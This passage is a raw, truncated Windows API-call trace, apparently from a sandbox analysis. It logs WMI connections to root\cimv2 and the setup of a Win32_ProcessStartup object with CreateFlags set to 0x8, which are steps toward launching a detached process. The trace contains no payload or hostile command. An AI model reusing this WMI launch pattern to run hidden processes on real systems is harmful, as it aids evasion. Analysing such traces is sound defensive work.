WbemDefPath:IUnknown:AddRef (This=0x1bc1aaa0) returned 0x3 [0133.827] WbemDefPath:IUnknown:Release (This=0x1bc1aaa0) returned 0x2 [0133.827] WbemDefPath:IWbemPath:SetText (This=0x1bc1aaa0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1aaa0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.827] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1aaa0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0133.827] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1aaa0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.827] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0133.827] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0133.827] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0133.827] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.828] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc21ee0) returned 0x0 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21ee0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0133.829] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc21ee0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc21f00) returned 0x0 [0133.829] WbemLocator:IUnknown:Release (This=0x1bc21ee0) returned 0x0 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc21f00) returned 0x0 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0133.829] WbemLocator:IUnknown:AddRef (This=0x1bc21f00) returned 0x3 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0133.829] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0133.829] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0133.829] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0133.830] WbemLocator:IUnknown:Release (This=0x1bc21f00) returned 0x2 [0133.830] WbemLocator:IUnknown:Release (This=0x1bc21f00) returned 0x1 [0133.830] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0133.830] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0133.830] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc21f00, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc21f00) returned 0x0 [0133.830] WbemLocator:IUnknown:AddRef (This=0x1bc21f00) returned 0x3 [0133.830] WbemLocator:IUnknown:Release (This=0x1bc21f00) returned 0x2 [0133.830] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1aaa0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.830] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1aaa0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0133.830] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1aaa0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.830] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc21f20) returned 0x0 [0133.830] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc21f20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc0c020) returned 0x0 [0134.079] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c020, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa03ca0) returned 0x0 [0134.079] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03ca0, pProxy=0x1bc0c020, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0134.079] WbemLocator:IUnknown:Release (This=0x1aa03ca0) returned 0x1 [0134.079] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c020, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa03ce0) returned 0x0 [0134.079] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c020, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa03ca0) returned 0x0 [0134.079] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03ca0, pProxy=0x1bc0c020, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0134.079] WbemLocator:IUnknown:Release (This=0x1aa03ca0) returned 0x2 [0134.079] WbemLocator:IUnknown:Release (This=0x1aa03ce0) returned 0x1 [0134.079] CoTaskMemFree (pv=0x1bc1b680) [0134.080] WbemLocator:IUnknown:AddRef (This=0x1bc0c020) returned 0x2 [0134.080] WbemLocator:IUnknown:Release (This=0x1bc21f20) returned 0x0 [0134.082] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0134.082] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0134.082] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c020, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa03cb0) returned 0x0 [0134.082] WbemLocator:IRpcOptions:Query (in: This=0x1aa03cb0, pPrx=0x1bc21f80, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0134.082] WbemLocator:IUnknown:Release (This=0x1aa03cb0) returned 0x2 [0134.082] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0134.082] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0134.082] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c020, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc0c020) returned 0x0 [0134.082] WbemLocator:IUnknown:Release (This=0x1bc0c020) returned 0x2 [0134.083] SysStringLen (param_1=0x0) returned 0x0 [0134.083] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a9e0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0134.083] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a9e0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0134.083] IWbemServices:GetObject (in: This=0x1bc0c020, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc282f0, ppCallResult=0x0) returned 0x0 [0134.085] IWbemClassObject:Get (in: This=0x1bc282f0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0134.085] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0134.085] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0134.085] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0134.085] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0134.085] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0134.085] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.087] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc21f20) returned 0x0 [0134.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc21f20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0134.088] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc21f20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc1ab60) returned 0x0 [0134.088] WbemDefPath:IUnknown:Release (This=0x1bc21f20) returned 0x0 [0134.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc1ab60) returned 0x0 [0134.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0134.088] WbemDefPath:IUnknown:AddRef (This=0x1bc1ab60) returned 0x3 [0134.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0134.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0134.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc21f40) returned 0x0 [0134.088] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21f40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.088] WbemDefPath:IUnknown:Release (This=0x1bc21f40) returned 0x3 [0134.089] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0134.089] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0134.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0134.089] WbemDefPath:IUnknown:Release (This=0x1bc1ab60) returned 0x2 [0134.089] WbemDefPath:IUnknown:Release (This=0x1bc1ab60) returned 0x1 [0134.089] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0134.089] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0134.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ab60, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc1ab60) returned 0x0 [0134.089] WbemDefPath:IUnknown:AddRef (This=0x1bc1ab60) returned 0x3 [0134.089] WbemDefPath:IUnknown:Release (This=0x1bc1ab60) returned 0x2 [0134.089] WbemDefPath:IWbemPath:SetText (This=0x1bc1ab60, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0134.090] IWbemClassObject:Get (in: This=0x1bc282f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c060*=0, plFlavor=0x283c064*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c060*=19, plFlavor=0x283c064*=0) returned 0x0 [0134.090] IWbemClassObject:Get (in: This=0x1bc282f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c060*=19, plFlavor=0x283c064*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c060*=19, plFlavor=0x283c064*=0) returned 0x0 [0134.090] IWbemClassObject:Put (This=0x1bc282f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0134.090] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a920, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0134.090] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0134.090] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0134.090] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.090] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0134.090] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0134.090] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0134.090] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.092] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc220e0) returned 0x0 [0134.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc220e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0134.093] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc220e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc1ac20) returned 0x0 [0134.093] WbemDefPath:IUnknown:Release (This=0x1bc220e0) returned 0x0 [0134.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc1ac20) returned 0x0 [0134.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0134.093] WbemDefPath:IUnknown:AddRef (This=0x1bc1ac20) returned 0x3 [0134.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0134.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0134.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc22120) returned 0x0 [0134.094] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22120, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.094] WbemDefPath:IUnknown:Release (This=0x1bc22120) returned 0x3 [0134.094] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0134.094] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0134.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1ac20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 